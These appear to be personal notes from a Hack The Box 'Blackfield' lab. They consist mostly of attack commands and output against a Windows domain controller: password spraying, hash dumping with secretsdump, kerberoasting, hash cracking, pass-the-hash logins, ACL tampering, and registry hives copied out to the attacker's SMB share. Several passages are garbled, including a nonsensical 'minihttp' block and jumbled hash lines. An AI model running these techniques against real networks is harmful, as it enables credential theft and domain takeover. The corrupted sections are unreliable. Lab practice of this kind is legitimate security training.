

# Attempts

## FOOTHOLD

### LDAP

```
root@Zakali:~/HTB/Blackfield# ldapsearch -b DC=BLACKFIELD,DC=LOCAL -h Blackfield.htb -p 3268 objectclass=*
SASL/DIGEST-MD5 authentication started
Please enter your password:
ldap_sasl_interactive_bind_s: Invalid credentials (49)
    additional info: 8009030C: LdapErr: DSID-0C090587, comment: AcceptSecurityContext error, data 52e, v4563
```

```
root@Zakali:~/HTB/Blackfield# ldapsearch -x -b DC=BLACKFIELD,DC=LOCAL -h Blackfield.htb -p 3268
# extended LDIF
#
# LDAPv3
# base <DC=BLACKFIELD,DC=LOCAL> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A59, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1
```

```
root@Zakali:~/HTB/Blackfield# cat $RY |xargs -i bash -c "(echo {} ;ldapsearch -h BLACKFIELD.htb -b DC=BLACKFIELD,DC=LOCAL objectclass=* -w '{} ' 2>&1) | tee -a BF_RY_LDAP"
```

```
root@Zakali:~/HTB/Blackfield# cat BF_RY_LDAP | grep -v error | grep -v SASL | grep -v Inva |wc -l
11404
```

```
root@Zakali:~/HTB/Blackfield# cat usernames |xargs -i bash -c "echo {} ;ldapsearch -h BLACKFIELD.htb -b DC=BLACKFIELD,DC=LOCAL objectclass=* -w '{} ' 2>&1 | tee -a BF_USERNAMES_LDAP"
```

```
root@Zakali:~/HTB/Blackfield# cat usernames |xargs -i bash -c "echo -n {} ;ldapsearch -h BLACKFIELD.htb -b DC=BLACKFIELD,DC=LOCAL objectclass=* -w '' -D {} 2>&1 | grep opera | tee -a BF_USERNAMES_LDAP_AS_USER"
AAllen:text: 000004DC: LdapErr: DSID-0C090A59, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
ABartleski:text: 000004DC: LdapErr: DSID-0C090A59, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
ABekeszi:text: 000004DC: LdapErr: DSID-0C090A59, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
```

### RPC

```
root@Zakali:~/HTB/Blackfield# rpcclient -N box
Bad SMB2 signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 61 CD CD 86 71 34 AA DF AA 1C 25 B9 FB BA A7 CA a...q4.. ..%.....
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
```

```
rpcclient $> enumprinters
result was WERR_INVALID_NAME
```

```

root@Zakali:~/HTB/Blackfield# secretsdump.py BLACKFIELD.LOCAL/support:$(cat pass)@blackfield.htb
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] Could not connect: timed out
[*] Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...

```

```

rpcclient $> setuserinfo2 lydericlefebvre 23 "abcde"

```

## SMB

```

root@Zakali:~/HTB/Blackfield# smbstatus --shares smbclient -L box
| smb2-security-mode:
|  02: Machine
|  Message signing enabled and required
| smb2-time:
|    2020-07-07T07:35:38
root@Zakali:~/HTB/Blackfield# smbmap -L -H box -p null -u null # Null Auth
[!] Error: (<class 'impacket.smbconnection.SessionError'>, 'smbmap', 1337)
root@Zakali:~/HTB/Blackfield# smbmap -L -H box
root@Zakali:~/HTB/Blackfield#

```

```

root@Zakali:~/HTB/Blackfield# smbclient \\\blackfield.htb\\ADMIN$
Enter WORKGROUP\root's password: TTPAPI httpd 2.0 (SSDP/UPnP)
tree connect failed: NT_STATUS_ACCESS_DENIED

```

```

root@Zakali:~/HTB/Blackfield# smbclient \\\blackfield.htb\\C$
Enter WORKGROUP\root's password:
tree connect failed: NT_STATUS_ACCESS_DENIED

```

```

root@Zakali:~/HTB/Blackfield# smbclient \\\blackfield.htb\\forensic
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \>

```

```

root@Zakali:~/HTB/Blackfield# smbclient \\\blackfield.htb\\IPC$
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_INVALID_INFO_CLASS listing \*

```

```

root@Zakali:~/HTB/Blackfield# smbclient \\\blackfield.htb\\NETLOGON
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \>

```

```

root@Zakali:~/HTB/Blackfield# smbclient \\\\blackfield.htb\\SYSVOL
Enter WORKGROUP\\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \>

```

```

root@Zakali:~/HTB/Blackfield# crackmapexec smb blackfield.htb -u usernames -p RY300

```

```

root@Zakali:~/HTB/Blackfield# crackmapexec smb blackfield.htb -u usernames -p usernames
SMB 10.10.10.192 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD)
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD\\AAllen:AAAllen STATUS_ACCESS_DENIED
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD\\AAllen:ABartesi STATUS_ACCESS_DENIED
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD\\AAllen:ABaker STATUS_ACCESS_DENIED

```

```

root@Zakali:~/HTB/Blackfield# smbclient \\\\blackfield.htb\\forensic -U support $(cat pass)
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \>

```

```

root@Zakali:~/HTB/Blackfield# smbclient \\\\blackfield.htb\\IPC$ -U support $(cat pass)
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_INVALID_INFO_CLASS listing \*
smb: \>

```

```

root@Zakali:~/HTB/Blackfield# smbclient \\\\blackfield.htb\\NETLOGON -U support $(cat pass)
Try "help" to get a list of possible commands.
smb: \> ls
.
..
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
7846143 blocks of size 4096. 3945224 blocks available
smb: \>

```

```

root@Zakali:~/HTB/Blackfield# psexec.py BLACKFIELD.LOCAL support:$(cat pass)@blackfield.htb
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[!] SMB SessionError: (STATUS_ACCESS_DENIED({Access Denied}) A process has requested access to an object but has not been granted those access rights.)

```

```

root@Zakali:~/HTB/Blackfield# smbexec.py BLACKFIELD.LOCAL/support:$(cat pass)@blackfield.htb
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[!] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

```

```

root@Zakali:~/HTB/Blackfield# crackmapexec smb blackfield.htb -u v_user_big -p pass
SMB 10.10.10.192 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD) (signing:True) (SMBv1:False)
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD\\Administrator:#00*BlackKnight STATUS_LOGON_FAILURE
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD\\Guest:#00*BlackKnight STATUS_LOGON_FAILURE
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD\\krbtgt:#00*BlackKnight STATUS_LOGON_FAILURE
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD\\audit2020:#00*BlackKnight STATUS_LOGON_FAILURE
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD\\BLACKFIELD764430:#00*BlackKnight STATUS_LOGON_FAILURE
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD\\BLACKFIELD538365:#00*BlackKnight STATUS_LOGON_FAILURE
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD\\BLACKFIELD189288:#00*BlackKnight STATUS_LOGON_FAILURE

```

```

root@Zakali:~/HTB/Blackfield# crackmapexec smb blackfield.htb -u v_user_big -p v_user_big
SMB 10.10.10.192 445 DC01 5985 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD) (signing:True) (SMBv1:False)
SMB 10.10.10.192 445 DC01 5985 DC01 [-] BLACKFIELD\\Administrator:Administrator STATUS_LOGON_FAILURE
SMB 10.10.10.192 445 DC01 5985 DC01 [-] BLACKFIELD\\Administrator:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.192 445 DC01 5985 DC01 [-] BLACKFIELD\\Administrator:Administrator STATUS_LOGON_FAILURE

```



ROOT

```
smb: \Recovery\> get ReAgentOld.xml
```

## Port 5985 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

- Autorecon on HTTP

```
msf5 auxiliary(scanner/upnp/ssdp_msearch) > exploit

[*] Sending UPnP SSDP probes to 10.10.10.192->10.10.10.192 (1 hosts)
[*] No SSDP endpoints found.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

## KERBEROS

- asperoast

```
root@Zakali:~/HTB/Blackfield# cat usernames |xargs -l bash -c "{echo -n {} ;GetNPUsers.py -no-pass BLACKFIELD.LOCAL/{ } |grep -l UNKNOWN 2>&1} | tee
-a BF_GetNPUsers"
AAlleni[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
ABartieski[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
ABekesz[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
ABenzies[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
ABienmiller[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
AChampken[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
ACheretei[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
ACsonaki[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
```

DID WORK WRONG GREP! (tail instead of grep)

-kerberoast

```
root@Zakali:~/HTB/Blackfield# GetUserSPNs.py BLACKFIELD.LOCAL/support:$(cat pass)
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation c9f10a44d13c17ac2be66bbb264
No entries found! 3cbf4ca457678861748e2ab950f3066e0f50489415b934e4f6a2f2b7d8845
```

-mimikatz hash cracking

```
root@Zakali:~/HTB/Blackfield# john --wordlist=$RY hash_svc
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt".
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-LinkedIn".
Use the "--format=Raw-SHA1-LinkedIn" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160".
Use the "--format=ripemd-160" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "has-160".
Use the "--format=has-160" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-SHA1 [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 53.34% (ETA: 18:57:39) 0g/s 6380Kp/s 6380Kc/s 12761KC/s haehae2..haegus
Warning: Only 2 candidates left, minimum 4 needed for performance.
0g 0:00:00:02 DONE (2020-07-09 18:57) 0g/s 6640Kp/s 6640Kc/s 13280KC/sa6_123..*7iVamos!
Session completed
LN: NA
root@Zakali:~/HTB/Blackfield# cat hash_svc
cd9250115e2205d9f48400d
4f2a203784d655bb3eda54ebe0cfdabe93d4a37d 3a9a31fc3252c68ba0a44f0221626a33e5c
svc backup:463c13a9a31fc3252c68ba0a44f0221626a33e5c
```

```

root@Zakali:~/HTB/Blackfield# john --wordlist=$RY lsass_shal --format=RAW-shal
Using default input encoding: UTF-8
Loaded 9 password hashes with no different salts (Raw-SHA1 [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 DONE (2020-07-09 19:27) 0g/s 6431Kp/s 6431Kc/s 57887KC/sa6_123..*7iVamos!
Session completed

```

```

root@Zakali:~/HTB/Blackfield# john --wordlist=$RY lsass_nt --format=NT
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 DONE (2020-07-09 19:27) 0g/s 10704Kp/s 10704Kc/s 32112KC/s pepe..*7iVamos!
Session completed

```

## WINRM

```

root@Zakali:~/HTB/Blackfield# crackmapexec winrm blackfield.htb -u v_user -p pass
WINRM 10.10.10.192 5985 DC01 [*] http://10.10.10.192:5985/wsman
WINRM 10.10.10.192 5985 DC01 [-] BLACKFIELD\lydericlefebvre:#00*BlackKnight "the specified credentials were re
jected by the server"
WINRM 10.10.10.192 5985 DC01 [-] BLACKFIELD\audit2020:#00*BlackKnight "the specified credentials were rejected
by the server"
WINRM 10.10.10.192 5985 DC01 [-] BLACKFIELD\svc_backup:#00*BlackKnight "the specified credentials were rejecte
d by the server"
WINRM 10.10.10.192 5985 DC01 [-] BLACKFIELD\Guest:#00*BlackKnight "the specified credentials were rejected by
the server"
WINRM 10.10.10.192 5985 DC01 [-] BLACKFIELD\Administrator:#00*BlackKnight "the specified credentials were reje
cted by the server"
WINRM 10.10.10.192 5985 DC01 [-] BLACKFIELD\krbtgt:#00*BlackKnight "the specified credentials were rejected by
the server"
WINRM 10.10.10.192 5985 DC01 [-] BLACKFIELD\support:#00*BlackKnight "the specified credentials were rejected b
y the server"

```

```

root@Zakali:~/HTB/Blackfield# crackmapexec winrm blackfield.htb -u v_user -p lsass_pass
WINRM 10.10.10.192 5985 DC01 [*] http://10.10.10.192:5985/wsman
WINRM 10.10.10.192 5985 DC01 [-] BLACKFIELD\Administrator:&SYVE+<ynu'Ql:qvEE!f$Do00F+,gP@P'fra`z4&G3K'mH:&
W$FNWw7J-N$^'bz8IDuc3*Ez]En kh'b'YSV7Ml@0G30*(bs]]%0L^[Q'nCP'<Vb0I6 "the specified credentials were rejected by the server"
WINRM 10.10.10.192 5985 DC01 [-] BLACKFIELD\Guest:&SYVE+<ynu'Ql:qvEE!f$Do00F+,gP@P'fra`z4&G3K'mH:&'K'SW$FM

```

```

root@Zakali:~/HTB/Blackfield# for i in $(cat lsass_nt); do echo $i ; done;
7f1e4ff8c6a8e6b6fcae2d9c0572cd62
9658d1d1dcd9250115e2205d9f48400d
b624dc83a27cc29da11d9bf25efea796
root@Zakali:~/HTB/Blackfield# for i in $(cat lsass_nt); do evil-winrm -H $i -u svc_backup -i blackfield.htb ; done;
NOTE: Gem::Specification#rubyforge_project= is deprecated with no replacement. It will be removed on or after 2019-12-01.
Gem::Specification#rubyforge_project= called from /usr/lib/ruby/gems/2.5.0/specifications/gyoku-1.3.1.gemspec:17.
NOTE: Gem::Specification#rubyforge_project= is deprecated with no replacement. It will be removed on or after 2019-12-01.
Gem::Specification#rubyforge_project= called from /usr/lib/ruby/gems/2.5.0/specifications/logging-2.2.2.gemspec:18.
NOTE: Gem::Specification#rubyforge_project= is deprecated with no replacement. It will be removed on or after 2019-12-01.
Gem::Specification#rubyforge_project= called from /usr/lib/ruby/gems/2.5.0/specifications/little-plugger-1.1.4.gemspec:18.
NOTE: Gem::Specification#rubyforge_project= is deprecated with no replacement. It will be removed on or after 2019-12-01.
Gem::Specification#rubyforge_project= called from /usr/lib/ruby/gems/2.5.0/specifications/nori-2.6.0.gemspec:17.

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

```



# ROOT

## SeBackupPrivilege

- ```

##### minihttp 2.1.3 (604) built on Mar 25 2008 21:05:13
## % % "A la Vie, A l'Amour" - [www.404]
## % % /www/minihttp.cgi?geturlid={base64urlid}
## % % http://blog-guestlink.com/minihttp/
## % % Visitez le TOUS | visitez.letsongmail.com >
##### http://gingcastle.com / http://mystratling.com <<<>

minihttp > headhttp://www.system:system hive /www:www hive
Domain: S4WP81
System: 7aceae6b0af93d49cc3993b3fffd3ae8
Local SID: 1-5-5-21-2957476088-1268529866-1816131156
GAPKey: 1d132a5538693e639b5f4363741511

```

```
root@Zakali:~/HTB/Blackfield# pypykatz registry reg
WARNING:pypykatz:SAM hive path not supplied! Parsing SAM will not work
WARNING:pypykatz:SECURITY hive path not supplied! Parsing SECURITY will not work
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
===== SYSTEM hive secrets =====
CurrentControlSet: ControlSet001
Boot Key: 73d83e56de8961ca9f243e1a49638393
```

```

root@Zakali:~/HTB/Blackfield# evil-winrm -u Administrator -i blackfield.htb -H 73d83e56de8961ca9f243ela49638393
NOTE: Gem::Specification#rubyforge_project= is deprecated with no replacement. It will be removed on or after 2019-12-01.
Gem::Specification#rubyforge_project= called from /usr/lib/ruby/gems/2.5.0/specifications/gyoku-1.3.1.gemspec:17.
NOTE: Gem::Specification#rubyforge_project= is deprecated with no replacement. It will be removed on or after 2019-12-01.
Gem::Specification#rubyforge_project= called from /usr/lib/ruby/gems/2.5.0/specifications/logging-2.2.2.gemspec:18.
NOTE: Gem::Specification#rubyforge_project= is deprecated with no replacement. It will be removed on or after 2019-12-01.
Gem::Specification#rubyforge_project= called from /usr/lib/ruby/gems/2.5.0/specifications/little-plugger-1.1.4.gemspec:18.
NOTE: Gem::Specification#rubyforge_project= is deprecated with no replacement. It will be removed on or after 2019-12-01.
Gem::Specification#rubyforge_project= called from /usr/lib/ruby/gems/2.5.0/specifications/nori-2.6.0.gemspec:17.

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1

```

-<https://pure.security/dumping-windows-credentials/>

- Registry Hives

Get a copy of the SYSTEM, SECURITY and SAM hives and download them back to your local system:

```

C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save

```

- Password Hashes

Get the password hashes of the local accounts, the cached domain credentials and the LSA secrets in a single run with [secretsdump](#):

```

$ secretsdump.py -sam sam.save -security security.save -system system.sav
e LOCAL

Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies

```

```

*Evil-WinRM* PS C:\tmp> reg.exe save hklm\system \\10.10.15.128\c\root\system.save
The operation completed successfully.

```

```

*Evil-WinRM* PS C:\tmp> reg.exe save hklm\sam \\10.10.15.128\c\root\sam.save
The operation completed successfully.

```

```

*Evil-WinRM* PS C:\tmp> reg.exe save hklm\security \\10.10.15.128\c\root\security.save
reg.exe : ERROR: Access is denied.
+ CategoryInfo          : NotSpecified: (ERROR: Access is denied.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError

```

```

root@Zakali:~/HTB/Blackfield/root# secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
Attempts
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:67ef902eae0d740df6257f273de75051:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[-] LSA hashes extraction failed: [Errno 2] No such file or directory: 'security.save'our local
Exception ignored in: <function Registry.__del__ at 0x7f974d1040d0>
Traceback (most recent call last):

```

## SeBackupPrivilege & SeRestorePrivilege



"whoami /priv" - Andrea Pierini

```

Privilege Name      Description      State
-----
SeMachineAccountPrivilege  Add workstations to domain  Disabled
SeBackupPrivilege        Back up files and directories  Disabled
SeRestorePrivilege       Restore files and directories  Disabled
SeChangeNotifyPrivilege  Bypass traverse checking     Enabled
SeIncreaseWorkingSetPrivilege  Increase a process working set  Disabled
PS C:\> get-acl c:\admin | fl

Path      : Microsoft.PowerShell.Core\FileSystem::C:\admin
Owner     : MYLAB\Administrator
Group     : MYLAB\Domain Users
Access    : BUILTIN\Administrators Allow FullControl
Audit     :
Sddl      : O:LAG:DUD:PAI(A;OICI;FA;;;BA)

PS C:\> $user = "mylab\backupadm"
PS C:\> $folder = "C:\admin"
PS C:\> $acl = Get-Acl $folder
PS C:\> $aclperms = $user,"FullControl","ContainerInherit,ObjectInherit","None","Allow"
PS C:\> $aclrule = new-object System.Security.AccessControl.FileSystemAccessRule $aclperms
PS C:\> $acl.AddAccessRule($aclrule)
PS C:\> Set-Acl -Path $folder -AclObject $acl
PS C:\> get-acl c:\admin | fl

Path      : Microsoft.PowerShell.Core\FileSystem::C:\admin
Owner     : MYLAB\Administrator
Group     : MYLAB\Domain Users
Access    : BUILTIN\Administrators Allow FullControl
           MYLAB\backupadm Allow FullControl
Audit     :
Sddl      : O:LAG:DUD:PAI(A;OICI;FA;;;BA)(A;OICI;FA;;;S-1-S-21-1727439791-219541086-2880685579-1621)

```

```

$user = "BLACKFIELD\svc_backup"
$folder = "C:\Users\Administrator\Desktop"
$acl = Get-Acl $folder
$aclperms =
$user,"FullControl","ContainerInherit,ObjectInherit","None","Allow"
$aclrule = new-object
System.Security.AccessControl.FileSystemAccessRule $aclperms
$acl.AddAccessRule($aclrule)
Set-Acl -Path $folder -AclObject $acl
get-acl $folder | fl

```



```
*Evil-WinRM* PS C:\tmp> $user = "BLACKFIELD\svc_backup"
*Evil-WinRM* PS C:\tmp> $folder = "C:\Users\Administrator"
*Evil-WinRM* PS C:\tmp> $acl = Get-Acl $folder
*Evil-WinRM* PS C:\tmp> $aclperms = $user,"FullControl","ContainerInherit,ObjectInherit","None","Allow"
*Evil-WinRM* PS C:\tmp> $aclrule = new-object System.Security.AccessControl.FileSystemAccessRule $aclperms
*Evil-WinRM* PS C:\tmp> $acl.AddAccessRule($aclrule)
*Evil-WinRM* PS C:\tmp> Set-Acl -Path $folder -AclObject $acl
*Evil-WinRM* PS C:\tmp> get-acl $folder | fl
```

Path : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator

Owner : NT AUTHORITY\SYSTEM

Group : NT AUTHORITY\SYSTEM

Access : NT AUTHORITY\SYSTEM Allow FullControl

BUILTIN\Administrators Allow FullControl

BLACKFIELD\Administrator Allow FullControl

BLACKFIELD\svc\_backup Allow FullControl

Audit :


Sddl : O:SYG:SYD:PAI(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;LA)(A;OICI;FA;;;S-1-5-21-4194615774-2175524697-3563712290-1413)

```
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
Access to the path 'C:\Users\Administrator\desktop\root.txt' is denied.
At line:1 char:1
+ type root.txt
+ ~~~~~
+ CategoryInfo          : PermissionDenied: (C:\Users\Administrator\desktop\root.txt:String) [Get-Content], UnauthorizedAccessException
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
```

→ Once gained ownership, same techniques as in *SeRestorePrivilege* apply

→ Example: altering the "msiserver" service...

Not so straight forward ...



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### SeBackupPrivilege/SeRestorePrivilege

These privileges allow unrestricted read/write access to every file on the system. They have to be activated first though for which you can use this **ps-script**:

```
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege <source> <target>
```

```
*Evil-WinRM* PS C:\tmp> Import-Module .\SeBackupPrivilegeUtils.dll
*Evil-WinRM* PS C:\tmp> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\tmp> Set-SeBackupPrivilege
*Evil-WinRM* PS C:\tmp> Copy-FileSeBackupPrivilege $folder\root.txt \\10.10.15.128\c
Opening input file. - Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED))
At line:1 char:1
+ Copy-FileSeBackupPrivilege $folder\root.txt \\10.10.15.128\c
+ ~~~~~
+ CategoryInfo          : NotSpecified: (:) [Copy-FileSeBackupPrivilege], Exception
+ FullyQualifiedErrorId : System.Exception,bz.OneOEight.SeBackupPrivilege.Copy_FileSeBackupPrivilege
```